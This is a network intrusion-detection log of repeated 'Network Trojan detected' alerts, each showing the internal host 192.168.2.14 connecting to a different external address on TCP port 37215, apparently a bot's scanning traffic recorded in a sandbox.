2024-10-08T20:35:31.555592+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57546	41.109.112.106	37215	TCP
2024-10-08T20:35:31.556812+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60846	41.144.60.40	37215	TCP
2024-10-08T20:35:32.535806+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45090	41.119.10.136	37215	TCP
2024-10-08T20:35:32.552804+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45924	197.171.81.61	37215	TCP
2024-10-08T20:35:32.553333+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49648	197.9.111.143	37215	TCP
2024-10-08T20:35:32.553439+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40316	197.57.29.62	37215	TCP
2024-10-08T20:35:32.557213+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38558	41.191.50.163	37215	TCP
2024-10-08T20:35:32.559086+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50406	197.242.1.167	37215	TCP
2024-10-08T20:35:32.567794+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51960	197.33.199.127	37215	TCP
2024-10-08T20:35:32.569537+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33508	156.84.146.208	37215	TCP
2024-10-08T20:35:32.571409+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48566	197.214.85.199	37215	TCP
2024-10-08T20:35:32.573555+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53242	156.116.132.81	37215	TCP
2024-10-08T20:35:32.597986+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34364	156.14.191.119	37215	TCP
2024-10-08T20:35:33.570388+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41828	197.246.160.83	37215	TCP
2024-10-08T20:35:34.583205+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43700	41.220.230.101	37215	TCP
2024-10-08T20:35:34.583423+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39106	41.128.120.188	37215	TCP
2024-10-08T20:35:35.009867+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39120	41.175.100.152	37215	TCP
2024-10-08T20:35:35.583241+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47254	41.110.203.155	37215	TCP
2024-10-08T20:35:35.585283+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47718	197.203.206.127	37215	TCP
2024-10-08T20:35:35.587461+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46266	156.164.128.168	37215	TCP
2024-10-08T20:35:35.629929+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48578	197.4.44.23	37215	TCP
2024-10-08T20:35:35.630954+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35060	197.169.152.22	37215	TCP
2024-10-08T20:35:35.634030+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56654	156.227.8.129	37215	TCP
2024-10-08T20:35:35.650969+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49826	41.14.214.141	37215	TCP
2024-10-08T20:35:35.666033+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34480	156.219.11.184	37215	TCP
2024-10-08T20:35:35.694049+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54266	41.104.69.176	37215	TCP
2024-10-08T20:35:36.630560+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36070	197.14.138.227	37215	TCP
2024-10-08T20:35:36.647034+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48424	156.241.51.180	37215	TCP
2024-10-08T20:35:36.649482+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41338	41.196.204.33	37215	TCP
2024-10-08T20:35:36.660326+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51556	197.73.121.137	37215	TCP
2024-10-08T20:35:36.660480+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42620	197.18.141.225	37215	TCP
2024-10-08T20:35:36.678013+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56894	197.93.53.19	37215	TCP
2024-10-08T20:35:37.402156+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56344	156.228.143.4	37215	TCP
2024-10-08T20:35:37.528317+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47312	197.7.155.188	37215	TCP
2024-10-08T20:35:37.613340+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59832	156.252.156.87	37215	TCP
2024-10-08T20:35:37.613561+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40698	156.161.246.103	37215	TCP
2024-10-08T20:35:37.614441+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44522	156.136.125.147	37215	TCP
2024-10-08T20:35:37.631116+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42804	156.183.64.95	37215	TCP
2024-10-08T20:35:37.631126+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53298	156.157.197.238	37215	TCP
2024-10-08T20:35:37.644827+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44874	156.15.13.89	37215	TCP
2024-10-08T20:35:37.644949+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48958	41.120.190.255	37215	TCP
2024-10-08T20:35:37.646814+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49514	197.110.58.87	37215	TCP
2024-10-08T20:35:37.650844+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48192	41.189.172.95	37215	TCP
2024-10-08T20:35:37.662575+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33018	41.224.97.53	37215	TCP
2024-10-08T20:35:37.676884+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41134	156.5.124.76	37215	TCP
2024-10-08T20:35:37.692092+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43984	41.172.24.50	37215	TCP
2024-10-08T20:35:38.630244+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49514	41.79.64.227	37215	TCP
2024-10-08T20:35:38.645826+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47628	197.141.183.59	37215	TCP
2024-10-08T20:35:38.646062+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37788	197.247.137.24	37215	TCP
2024-10-08T20:35:38.646092+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56936	197.118.183.111	37215	TCP
2024-10-08T20:35:38.646495+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52808	41.249.19.15	37215	TCP
2024-10-08T20:35:38.646505+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34782	41.13.117.8	37215	TCP
2024-10-08T20:35:38.646530+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56884	156.199.53.201	37215	TCP
2024-10-08T20:35:38.660281+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35122	41.240.85.229	37215	TCP
2024-10-08T20:35:38.660428+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41034	156.61.66.25	37215	TCP
2024-10-08T20:35:38.660640+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38474	197.15.250.101	37215	TCP
2024-10-08T20:35:38.660665+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47272	197.190.95.96	37215	TCP
2024-10-08T20:35:38.660819+0200	2835222	1	A Network Trojan was detected	192.168.2.14	32956	41.243.246.24	37215	TCP
2024-10-08T20:35:38.660866+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36754	156.218.75.200	37215	TCP
2024-10-08T20:35:38.660959+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52148	156.18.10.104	37215	TCP
2024-10-08T20:35:38.660962+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54046	156.21.179.218	37215	TCP
2024-10-08T20:35:38.661087+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54142	197.86.209.110	37215	TCP
2024-10-08T20:35:38.661096+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33214	156.189.16.215	37215	TCP
2024-10-08T20:35:38.661313+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47264	156.34.227.47	37215	TCP
2024-10-08T20:35:38.661328+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50400	156.2.217.40	37215	TCP
2024-10-08T20:35:38.661341+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52262	197.86.59.77	37215	TCP
2024-10-08T20:35:38.661451+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51852	41.14.231.217	37215	TCP
2024-10-08T20:35:38.662185+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42972	197.151.136.253	37215	TCP
2024-10-08T20:35:38.662186+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46108	156.2.249.248	37215	TCP
2024-10-08T20:35:38.662578+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35782	41.2.126.153	37215	TCP
2024-10-08T20:35:38.662863+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42546	41.189.52.206	37215	TCP
2024-10-08T20:35:38.664940+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38846	156.222.188.136	37215	TCP
2024-10-08T20:35:38.666113+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34498	156.108.142.162	37215	TCP
2024-10-08T20:35:38.666221+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46036	41.253.26.185	37215	TCP
2024-10-08T20:35:38.666605+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53368	156.21.188.112	37215	TCP
2024-10-08T20:35:38.669150+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40576	41.246.185.27	37215	TCP
2024-10-08T20:35:38.680094+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47722	156.68.135.32	37215	TCP
2024-10-08T20:35:38.680249+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36146	156.55.81.177	37215	TCP
2024-10-08T20:35:38.680349+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35374	156.56.105.11	37215	TCP
2024-10-08T20:35:38.681557+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38684	41.120.198.124	37215	TCP
2024-10-08T20:35:39.723415+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50164	197.80.179.237	37215	TCP
2024-10-08T20:35:39.723501+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52044	41.185.211.114	37215	TCP
2024-10-08T20:35:39.723525+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45026	41.52.5.76	37215	TCP
2024-10-08T20:35:39.723863+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37322	197.21.152.37	37215	TCP
2024-10-08T20:35:39.723933+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48080	156.127.127.163	37215	TCP
2024-10-08T20:35:39.723940+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44948	156.136.38.245	37215	TCP
2024-10-08T20:35:39.724007+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53388	156.126.155.228	37215	TCP
2024-10-08T20:35:39.724071+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37570	197.38.234.48	37215	TCP
2024-10-08T20:35:39.724240+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51012	41.56.205.73	37215	TCP
2024-10-08T20:35:39.724313+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41404	156.33.125.199	37215	TCP
2024-10-08T20:35:39.724324+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44508	197.138.54.167	37215	TCP
2024-10-08T20:35:39.724534+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36438	197.213.184.139	37215	TCP
2024-10-08T20:35:39.724536+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35602	156.142.224.234	37215	TCP
2024-10-08T20:35:39.724778+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46616	197.214.72.194	37215	TCP
2024-10-08T20:35:39.724778+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56980	41.141.109.120	37215	TCP
2024-10-08T20:35:39.724839+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46958	41.200.229.151	37215	TCP
2024-10-08T20:35:39.724942+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54052	156.43.136.34	37215	TCP
2024-10-08T20:35:39.725162+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47472	197.221.79.228	37215	TCP
2024-10-08T20:35:39.725208+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54010	197.221.14.49	37215	TCP
2024-10-08T20:35:39.725566+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53988	41.3.92.194	37215	TCP
2024-10-08T20:35:39.725726+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35764	41.203.11.191	37215	TCP
2024-10-08T20:35:39.725733+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52112	197.25.123.226	37215	TCP
2024-10-08T20:35:39.725960+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33068	41.205.20.224	37215	TCP
2024-10-08T20:35:39.725974+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48972	156.18.91.189	37215	TCP
2024-10-08T20:35:39.725984+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45448	41.88.129.188	37215	TCP
2024-10-08T20:35:39.726027+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53392	197.23.225.200	37215	TCP
2024-10-08T20:35:39.727826+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36826	197.185.192.186	37215	TCP
2024-10-08T20:35:39.727850+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47652	41.143.191.102	37215	TCP
2024-10-08T20:35:39.728613+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49730	156.27.56.34	37215	TCP
2024-10-08T20:35:39.728910+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39202	156.240.207.144	37215	TCP
2024-10-08T20:35:39.728943+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33800	41.65.225.251	37215	TCP
2024-10-08T20:35:39.729150+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48204	41.179.193.119	37215	TCP
2024-10-08T20:35:39.729815+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60884	156.175.133.63	37215	TCP
2024-10-08T20:35:39.729924+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49844	156.56.35.169	37215	TCP
2024-10-08T20:35:39.730077+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38258	197.25.37.149	37215	TCP
2024-10-08T20:35:39.739052+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48140	156.86.23.188	37215	TCP
2024-10-08T20:35:40.739016+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51388	197.123.167.40	37215	TCP
2024-10-08T20:35:40.739052+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41996	156.37.9.223	37215	TCP
2024-10-08T20:35:40.754474+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34246	41.210.172.175	37215	TCP
2024-10-08T20:35:40.755101+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49042	41.189.246.76	37215	TCP
2024-10-08T20:35:40.756202+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53304	197.198.193.29	37215	TCP
2024-10-08T20:35:40.758587+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41970	156.13.89.110	37215	TCP
2024-10-08T20:35:40.758600+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39440	197.255.209.18	37215	TCP
2024-10-08T20:35:40.760444+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35466	197.41.108.26	37215	TCP
2024-10-08T20:35:40.760965+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55402	156.63.172.119	37215	TCP
2024-10-08T20:35:40.769623+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48184	41.202.104.88	37215	TCP
2024-10-08T20:35:40.770488+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52340	41.52.232.181	37215	TCP
2024-10-08T20:35:40.770801+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46638	197.132.83.29	37215	TCP
2024-10-08T20:35:40.770838+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47316	41.214.162.14	37215	TCP
2024-10-08T20:35:40.770936+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36224	41.134.67.96	37215	TCP
2024-10-08T20:35:40.771225+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37626	197.196.118.202	37215	TCP
2024-10-08T20:35:40.771237+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48842	41.175.158.192	37215	TCP
2024-10-08T20:35:40.771778+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53266	41.106.102.32	37215	TCP
2024-10-08T20:35:40.772060+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45146	197.199.250.105	37215	TCP
2024-10-08T20:35:40.772395+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60770	41.194.2.205	37215	TCP
2024-10-08T20:35:40.772761+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52420	197.159.33.5	37215	TCP
2024-10-08T20:35:40.772879+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55800	197.211.148.220	37215	TCP
2024-10-08T20:35:40.775214+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34146	41.222.144.48	37215	TCP
2024-10-08T20:35:40.776305+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45308	156.229.255.48	37215	TCP
2024-10-08T20:35:40.776524+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53956	41.173.196.104	37215	TCP
2024-10-08T20:35:40.785496+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52194	156.245.2.117	37215	TCP
2024-10-08T20:35:40.785745+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47230	156.103.76.128	37215	TCP
2024-10-08T20:35:40.785982+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53072	156.220.82.225	37215	TCP
2024-10-08T20:35:40.791657+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53872	197.115.161.99	37215	TCP
2024-10-08T20:35:40.811393+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59704	197.7.5.131	37215	TCP
2024-10-08T20:35:42.801379+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55084	197.18.194.9	37215	TCP
2024-10-08T20:35:42.803714+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60592	197.204.22.0	37215	TCP
2024-10-08T20:35:42.817013+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50830	197.144.58.40	37215	TCP
2024-10-08T20:35:42.818011+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44784	156.251.236.214	37215	TCP
2024-10-08T20:35:42.821521+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43212	156.37.245.239	37215	TCP
2024-10-08T20:35:42.836470+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40078	197.129.22.45	37215	TCP
2024-10-08T20:35:42.838292+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54310	41.120.104.86	37215	TCP
2024-10-08T20:35:43.739149+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52906	41.45.219.94	37215	TCP
2024-10-08T20:35:43.785481+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36138	197.151.219.195	37215	TCP
2024-10-08T20:35:44.535087+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34642	156.228.128.46	37215	TCP
2024-10-08T20:35:44.801696+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56186	156.217.85.234	37215	TCP
2024-10-08T20:35:44.803148+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45798	156.32.64.81	37215	TCP
2024-10-08T20:35:44.805001+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40902	197.179.231.62	37215	TCP
2024-10-08T20:35:44.821436+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58744	197.134.116.109	37215	TCP
2024-10-08T20:35:44.832875+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38384	41.220.41.54	37215	TCP
2024-10-08T20:35:44.950372+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55548	41.222.1.103	37215	TCP
2024-10-08T20:35:45.003628+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47914	197.232.81.202	37215	TCP
2024-10-08T20:35:45.801834+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40998	41.195.86.42	37215	TCP
2024-10-08T20:35:45.817035+0200	2835222	1	A Network Trojan was detected	192.168.2.14	38740	156.68.184.16	37215	TCP
2024-10-08T20:35:45.817552+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42540	156.134.183.214	37215	TCP
2024-10-08T20:35:45.818450+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47276	41.137.211.72	37215	TCP
2024-10-08T20:35:45.818663+0200	2835222	1	A Network Trojan was detected	192.168.2.14	34198	197.45.45.23	37215	TCP
2024-10-08T20:35:45.833151+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39680	197.62.61.201	37215	TCP
2024-10-08T20:35:45.833544+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37054	156.156.226.12	37215	TCP
2024-10-08T20:35:45.833857+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33456	197.146.192.239	37215	TCP
2024-10-08T20:35:45.834143+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50954	156.145.56.213	37215	TCP
2024-10-08T20:35:45.834205+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54270	197.220.114.148	37215	TCP
2024-10-08T20:35:45.834343+0200	2835222	1	A Network Trojan was detected	192.168.2.14	48834	41.28.106.201	37215	TCP
2024-10-08T20:35:45.834516+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56284	197.204.102.8	37215	TCP
2024-10-08T20:35:45.834555+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44384	197.195.104.5	37215	TCP
2024-10-08T20:35:45.836402+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49004	197.181.176.204	37215	TCP
2024-10-08T20:35:45.836402+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58908	197.166.13.221	37215	TCP
2024-10-08T20:35:45.836430+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58080	197.116.137.182	37215	TCP
2024-10-08T20:35:45.836754+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40244	197.246.164.161	37215	TCP
2024-10-08T20:35:45.836842+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47256	41.64.140.216	37215	TCP
2024-10-08T20:35:45.837058+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40582	156.250.158.191	37215	TCP
2024-10-08T20:35:45.854717+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49478	41.195.115.20	37215	TCP
2024-10-08T20:35:45.867708+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43032	41.80.61.237	37215	TCP
2024-10-08T20:35:46.818213+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36886	156.21.181.64	37215	TCP
2024-10-08T20:35:46.848424+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60122	197.65.244.129	37215	TCP
2024-10-08T20:35:46.864032+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60078	197.152.205.67	37215	TCP
2024-10-08T20:35:46.864079+0200	2835222	1	A Network Trojan was detected	192.168.2.14	42636	197.38.2.38	37215	TCP
2024-10-08T20:35:46.867910+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52030	41.7.82.255	37215	TCP
2024-10-08T20:35:46.879654+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59528	197.51.233.109	37215	TCP
2024-10-08T20:35:46.879748+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58546	197.236.201.144	37215	TCP
2024-10-08T20:35:46.899048+0200	2835222	1	A Network Trojan was detected	192.168.2.14	47044	41.121.53.253	37215	TCP
2024-10-08T20:35:46.910968+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56606	41.191.41.20	37215	TCP
2024-10-08T20:35:46.911033+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54788	156.105.159.83	37215	TCP
2024-10-08T20:35:46.930708+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56988	197.58.129.139	37215	TCP
2024-10-08T20:35:46.943819+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46546	197.110.16.15	37215	TCP
2024-10-08T20:35:46.980564+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46110	156.220.141.52	37215	TCP
2024-10-08T20:35:47.738981+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60962	156.226.126.33	37215	TCP
2024-10-08T20:35:47.848199+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57030	197.117.229.128	37215	TCP
2024-10-08T20:35:47.863534+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49820	156.50.230.134	37215	TCP
2024-10-08T20:35:47.864884+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51514	41.122.150.251	37215	TCP
2024-10-08T20:35:47.866528+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51566	197.78.144.24	37215	TCP
2024-10-08T20:35:47.867622+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51178	197.123.72.199	37215	TCP
2024-10-08T20:35:47.867622+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45746	156.5.60.150	37215	TCP
2024-10-08T20:35:47.867630+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50302	156.148.15.158	37215	TCP
2024-10-08T20:35:47.867630+0200	2835222	1	A Network Trojan was detected	192.168.2.14	40804	41.62.92.106	37215	TCP
2024-10-08T20:35:47.867712+0200	2835222	1	A Network Trojan was detected	192.168.2.14	46612	197.162.15.89	37215	TCP
2024-10-08T20:35:47.867713+0200	2835222	1	A Network Trojan was detected	192.168.2.14	53040	41.130.221.27	37215	TCP
2024-10-08T20:35:47.867734+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50714	156.180.51.47	37215	TCP
2024-10-08T20:35:47.870325+0200	2835222	1	A Network Trojan was detected	192.168.2.14	43186	41.171.232.22	37215	TCP
2024-10-08T20:35:47.880462+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51644	197.179.200.161	37215	TCP
2024-10-08T20:35:47.880571+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35532	41.90.152.176	37215	TCP
2024-10-08T20:35:47.882607+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54816	197.64.157.48	37215	TCP
2024-10-08T20:35:47.882619+0200	2835222	1	A Network Trojan was detected	192.168.2.14	45698	156.125.157.8	37215	TCP
2024-10-08T20:35:47.884929+0200	2835222	1	A Network Trojan was detected	192.168.2.14	52512	156.29.57.209	37215	TCP
2024-10-08T20:35:47.884932+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35392	41.144.229.61	37215	TCP
2024-10-08T20:35:47.886571+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57678	41.84.192.143	37215	TCP
2024-10-08T20:35:47.886691+0200	2835222	1	A Network Trojan was detected	192.168.2.14	49446	197.41.11.217	37215	TCP
2024-10-08T20:35:47.897158+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44984	41.187.214.190	37215	TCP
2024-10-08T20:35:47.897158+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33988	41.149.189.48	37215	TCP
2024-10-08T20:35:47.897174+0200	2835222	1	A Network Trojan was detected	192.168.2.14	57200	197.173.147.25	37215	TCP
2024-10-08T20:35:47.898662+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51320	156.78.62.241	37215	TCP
2024-10-08T20:35:47.898688+0200	2835222	1	A Network Trojan was detected	192.168.2.14	35048	156.232.164.254	37215	TCP
2024-10-08T20:35:47.899475+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60840	41.233.102.39	37215	TCP
2024-10-08T20:35:47.899475+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37150	41.174.164.204	37215	TCP
2024-10-08T20:35:47.899496+0200	2835222	1	A Network Trojan was detected	192.168.2.14	54404	197.120.51.76	37215	TCP
2024-10-08T20:35:47.899537+0200	2835222	1	A Network Trojan was detected	192.168.2.14	37808	156.145.102.75	37215	TCP
2024-10-08T20:35:47.913128+0200	2835222	1	A Network Trojan was detected	192.168.2.14	56760	156.59.153.179	37215	TCP
2024-10-08T20:35:47.914200+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50254	197.179.23.202	37215	TCP
2024-10-08T20:35:47.916038+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44356	156.93.252.221	37215	TCP
2024-10-08T20:35:47.916352+0200	2835222	1	A Network Trojan was detected	192.168.2.14	41210	41.176.70.70	37215	TCP
2024-10-08T20:35:47.916353+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55146	156.55.142.155	37215	TCP
2024-10-08T20:35:47.917621+0200	2835222	1	A Network Trojan was detected	192.168.2.14	36568	41.171.175.173	37215	TCP
2024-10-08T20:35:48.006130+0200	2835222	1	A Network Trojan was detected	192.168.2.14	44154	156.228.171.71	37215	TCP
2024-10-08T20:35:48.864078+0200	2835222	1	A Network Trojan was detected	192.168.2.14	58920	41.162.33.154	37215	TCP
2024-10-08T20:35:48.864169+0200	2835222	1	A Network Trojan was detected	192.168.2.14	60616	197.85.92.174	37215	TCP
2024-10-08T20:35:48.864424+0200	2835222	1	A Network Trojan was detected	192.168.2.14	59858	197.220.167.219	37215	TCP
2024-10-08T20:35:48.864846+0200	2835222	1	A Network Trojan was detected	192.168.2.14	55728	197.107.177.25	37215	TCP
2024-10-08T20:35:48.865756+0200	2835222	1	A Network Trojan was detected	192.168.2.14	39442	197.122.35.223	37215	TCP
2024-10-08T20:35:48.868573+0200	2835222	1	A Network Trojan was detected	192.168.2.14	51404	156.247.249.17	37215	TCP
2024-10-08T20:35:49.911433+0200	2835222	1	A Network Trojan was detected	192.168.2.14	33060	41.198.169.218	37215	TCP
2024-10-08T20:35:49.926607+0200	2835222	1	A Network Trojan was detected	192.168.2.14	50576	156.115.162.34	37215	TCP
